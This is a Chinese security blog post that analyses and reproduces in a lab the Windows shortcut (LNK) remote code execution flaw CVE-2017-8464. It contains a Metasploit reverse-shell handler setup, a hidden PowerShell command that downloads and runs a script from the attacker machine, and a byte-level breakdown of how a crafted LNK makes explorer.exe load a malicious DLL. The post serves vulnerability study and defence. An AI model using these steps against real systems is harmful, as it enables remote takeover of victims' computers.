CVE-2017-8464震网3.0漏洞分析与复现

概述:微软在2017年6月份的补丁中修补了一个快捷方式(CVE-2107-8464)的漏洞,公告称此漏洞被国家背景的网络攻击所使用来实施攻击,该漏洞也被称为震网三代,随后Metasploit上发布了该漏洞的PoC。官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。本次实验主要分为漏洞复现和poc原理分析两部分,通过实验理清该漏洞可能的的攻击途径以及如何防护。

1.漏洞介绍

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。当存在漏洞的电脑被插上保存有漏洞文件的U盘时,不需要额外操作,漏洞攻击程序就可以执行并完全控制用户的电脑系统。

1.1漏洞原理

Windows系统使用二进制解析.LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在explorer.exe进程中运行,所以 load 进内存时与当前用户具有相同权限。
攻击者利用这一解析过程将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后即被黑客所控制。

2.漏洞复现

2.1测试环境

攻击机:Kali Debian 7.x 64位 ip:192.168.150.131
靶机:win7 x64 专业版 ip:192.168.150.129
NAT模式子网网址:192.168.150.0

2.2利用原理

创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒。

2.3过程

2.3.1 生成后门并创建监听反弹

(1)切换至/var/www/html目录
在这里插入图片描述

(2)生成一个反弹的ps1的shell
在这里插入图片描述

(3)查看已生成search.ps1的powershell后门
在这里插入图片描述

(4)启动Apache服务并查看状态
在这里插入图片描述

(5)kali下创建监听反弹
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.150.131
set lport 5555
exploit
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

2.3.2 创建远程快捷

在靶机上创建一个powershell远程快捷
powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.150.131/search.ps1’);test.ps1”
在这里插入图片描述在这里插入图片描述

2.3.3 控制靶机

启动靶机远程快捷键,反弹监听,进入shell,成功进入靶机
在这里插入图片描述在这里插入图片描述

2.4其他方式

利用Metasploit中CVE-2017-8464模块制作U盘,插入靶机即可触发漏洞。

3.poc分析

3.1构造poc

根据官方文档利用hxd工具构造poc,保存为lnk格式,将lnk文件放入靶机桌面,新建C:\test\a.txt文档,双击lnk就会弹出a.txt。
在这里插入图片描述

为方便分析具体字段,构造如下更简单的poc。
在这里插入图片描述

3.2 原理分析

3.2.1 lnk结构

官方给出lnk文件由五大部分组成:
在这里插入图片描述

其中用于触发漏洞的是LinkTargetIDList和ExtraData两个Block。

3.2.2 poc细节

在这里插入图片描述

红色:HeaderSize,必须为0x4c。
黄色:LinkCLSID,数值不能变,否则lnk打不开。
黑色:LinkFlags,为1表示本LNK文件包含有LinkTargetIDList。
上边三部分属于shelllinkheader。
黑色:IDListSize,0x6E=sizeof(IDListSize)+sizeof(Item[0])+sizeof(Item[1])+sizeof(Item[2])
绿色:itemID[0]
红色:itemID[1]
蓝色:itemID[2],包含恶意dll路径。
这是LinkTargetIDList。
在这里插入图片描述

红色:SpecialFloderDataBlocksize
黄色:blocksignature,ExtraData可以包含多个部分,0xA0000005的话表面这块是SpecialFolderDataBlock
绿色:specialfolder id,3 代表的是CSIDL_CONTROLS
黄色:offset,一个无符号整数,指定由SpecialFolderID指定的IDList的第一个子段的ItemID的位置。此值是链接目标IDList的偏移量(以字节为单位)。
SpecialFolderDataBlock结构指定特殊文件夹的位置。当链接目标是特殊文件夹时,可以使用此数据来跟踪该文件夹,以便在加载链接时可以转换链接目标IDList。

3.2.3 触发过程

Windows系统二进制解析lnk文件,到SpecialFolderDataBlock时,0x00000010说明这是SpecialFolderDataBlock字段了,0xA0000005是额外数据部分的签名,然后0x00000003说明的是指定的是IDlist中的第三个文件,即itemID[2],0x00000028指明了目标IDList的偏移量为28字节,从IDListSize后面开始数28字节就到了itemID[2],然后将其中的DLL加载进内存从而执行其中的DllMain。由于这个解析过程是在explorer.exe中实现的,所以对应的load进内存的恶意DLL也具有同样的高权限(一般是High)。

4.总结

4.1防护措施

1.使用HanSight Enterprise监控主机行为,及时对警告排查处理。
2.更新Windows操作系统补丁

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值